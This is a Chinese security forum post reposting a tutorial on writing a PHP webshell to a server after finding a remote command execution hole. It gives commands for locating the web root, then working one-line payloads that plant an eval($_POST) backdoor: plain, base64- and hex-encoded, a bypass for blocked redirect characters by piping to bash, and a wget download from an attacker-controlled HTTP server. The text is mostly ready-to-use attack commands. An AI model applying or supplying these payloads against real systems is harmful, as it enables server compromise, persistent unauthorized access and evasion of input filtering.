安全矩阵

 找回密码
 立即注册
搜索
查看: 733|回复: 0

RCE写webshell总结

[复制链接]

181

主题

182

帖子

721

积分

高级会员

Rank: 4

积分
721
发表于 2023-2-10 13:35:54 | 显示全部楼层 |阅读模式
本帖最后由 wangqiang 于 2023-2-10 13:39 编辑

RCE写webshell总结
夜组安全 2023-02-09 08:00 发表于青海
转载自:RCE写webshell总结
免责声明
由于传播、利用本公众号夜组安全所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号夜组安全及作者不为此承担任何责任,
一旦造成后果请自行承担!如有侵权烦请告知,我们会立即删除并致歉。谢谢!

RCE写webshell
01
前言
当我们找到一个rce漏洞却无法反弹shell时,在web路径写webshell用连接工具进行管理会方便的多,本文总结从命令执行到webshell的流程化操作。

02
寻找Web路径
写webshell当然要写在web路径,第一步要做的就是快速寻找web路径

1.文件查找法
一般web路径一定会有index.html\php\jsp\asp,login.xxx文件。
可以根据已知页面文件名全局搜索
  1. linux:
  2. find / -name index.php
  3. find / -name index.*
  4. windows:
  5. for /r d:/ %i in (index.html) do @echo %i
  6. for /r d:/ %i in (index.*) do @echo %i
复制代码


2.源码查找法
也可以选择打开当前已知web页面的f12查看源码,寻找一段特征足够明显的源码进行查找​​​​​​​
  1. linux:
  2. find / -name "*.*" | xargs grep "PHP installed properly"
  3. find /var/www/ -name "*.php" | xargs grep "doServerTest()"

  4. windows:
  5. findstr /s/i/n /d:D:\sec_tools\ /c:"html" *.html
  6. findstr /s/i/n /d:C:\windows\ /c:"success" *.*
复制代码


3.history等
通过linux历史命令查找web相关的服务启动命令​​​​​​​
  1. history | grep nginx
  2. history | grep tomcat
  3. history | grep http
  4. 03
复制代码



03写入webshell
确认寻找到的路径有写入权限之后,就可以开始写webshell了

1.echo直接写入
  1. echo '<?php eval($_POST[1]); ?>' > 1.php
复制代码
直接写入webshell一般不会成功,因为webshell中使用的某些关键符号可能被转码或屏蔽

2.base64写入
  1. echo "PD9waHAgZXZhbCgkX1BPU1RbMV0pOyA/Pg==" | base64 -d >2.php
复制代码
使用base64是比较通用的方法,完美去除了webshell本身的特殊字符

3.绕过重定向符
  1. echo "ZWNobyAiUEQ5d2FIQWdaWFpoYkNna1gxQlBVMVJiTVYwcE95QS9QZz09IiB8IGJhc2U2NCAtZCA+My5waHA=" | base64 -d | bash

  2. echo "ZWNobyAiUEQ5d2FIQWdaWFpoYkNna1gxQlBVMVJiTVYwcE95QS9QZz09IiB8IGJhc2U2NCAtZCA+My5waHA=" | base64 -d | sh
复制代码

重定向符>不可用时,我们可以将1或2中的整体命令base64编码,然后解码后通过bash或sh执行

其他字符绕过方式,如空格对应${IFS}等,可参考命令注入的绕过方式
http://uuzdaisuki.com/2020/07/15 ... %E6%80%BB%E7%BB%93/

4.远端下载webshell​​​​​​​

  1. 远端服务器放置webshell,开启http
  2. python -m http.server

  3. 目标机器执行
  4. wget http://xx.xx.xxx.xx:8000/xxx.php
复制代码

可出网且有wget的情况下可采用此方式

5.hex写入
hex写入与base64写入相似,在 https://www.107000.com/T-Hex/
将webshell编码成hex,使用xxd命令还原
或在使用前将webshell使用xxd生成hex数据
  1. echo '<?php eval($_POST[1]); ?>' |xxd -ps
复制代码
然后命令注入执行
  1. echo 3C3F706870206576616C28245F504F53545B315D293B203F3E|xxd -r -ps > 5.php
复制代码


04
参考链接
文章作者:Leticia's Blog
原文链接:https://uuzdaisuki.com/





回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-28 22:49 , Processed in 0.012761 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表